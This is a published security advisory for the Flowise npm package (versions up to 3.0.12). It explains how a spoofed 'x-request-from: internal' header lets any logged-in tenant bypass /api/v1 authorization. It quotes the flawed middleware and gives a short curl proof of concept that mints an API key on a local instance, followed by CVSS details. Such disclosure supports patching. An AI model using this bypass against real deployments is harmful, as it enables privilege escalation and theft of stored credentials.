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Flowise Authorization Bypass via Spoofed x-request-from Header

High
igor-magun-wd published GHSA-wvhq-wp8g-c7vq Mar 5, 2026

Package

npm flowise (npm)

Affected versions

<= 3.0.12

Patched versions

3.0.13

Description

Summary

Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/** authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.

Details

The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:

if (isWhitelisted) {
    next();
} else if (req.headers['x-request-from'] === 'internal') {
    verifyToken(req, res, next);
} else {
    const { isValid } = await validateAPIKey(req);
    if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
     // owner context stitched from API key
}

Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.

PoC

  1. Log into Flowise 3.0.8 and capture cookies (e.g., curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login).
  2. Invoke an internal-only endpoint with the spoofed header:
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -H 'x-request-from: internal' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
The server returns HTTP 200 and the newly created key object.
  1. Remove the header and retry:
    curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.

The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.

Impact

This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-30820

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

Credits